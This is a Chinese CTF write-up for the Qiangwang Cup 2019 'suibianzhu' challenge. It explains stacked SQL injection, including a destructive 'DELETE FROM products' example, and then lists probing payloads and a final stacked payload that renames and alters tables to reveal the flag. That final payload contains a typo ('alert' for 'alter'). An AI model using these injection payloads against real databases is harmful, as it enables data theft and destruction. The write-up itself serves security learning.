[强网杯 2019]随便注

[强网杯 2019]随便注 wp from Kuller_Yan

原理:堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句
后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,
而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products服务器端生成的sql语句为:
(因未对输入的参数进行过滤)Select * from products where productid=1;
DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

进入靶机我们可以看到一个表单提交,根据提示我们提交1;

在这里插入图片描述
尝试提交1'没有返回,再尝试1'#返回和1一样的内容,说明此处存在sql注入
在这里插入图片描述
输入1' or 1=1 #可以看到返回数据,然后就可以开始尝试我们的注入;
在这里插入图片描述
使用1' union select #可以返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了
然后尝试堆叠注入1';show databases; #
在这里插入图片描述
可以返回,说明此处存在堆叠注入,然后使用1'; show tables #,出现两个表名
在这里插入图片描述
ok,挨个查看表名分别使用1'; show columns from 1919810931114514; #(当数字做表名的时候要加上··但是这里我没加上,因为会有显示bug)还有1'; show cloumns from words;#
在这里插入图片描述
在这里插入图片描述
然后我们再看看1的返回内容,发现回显内容是从words表中才会回显;
然后查询过滤发现没有过滤没有过滤alert和rename关键字;
我们便可以考虑将原有words改名为任意,然后将1919810931114514改名为words,在新的words表中插入一列名为id 然后将flag改名为data;

命令如下:
1';rename table `words` to `word1`;
rename table `1919810931114514` to `words`;
alter table `words` add id int unsigned not Null auto_increment primary key;
 alert table `words` change `flag` `data` varchar(100);#

然后再1' or 1=1 #
在这里插入图片描述

posted @ 2020-05-18 02:17  Kuller_Yan  阅读(25)  评论(0编辑  收藏  举报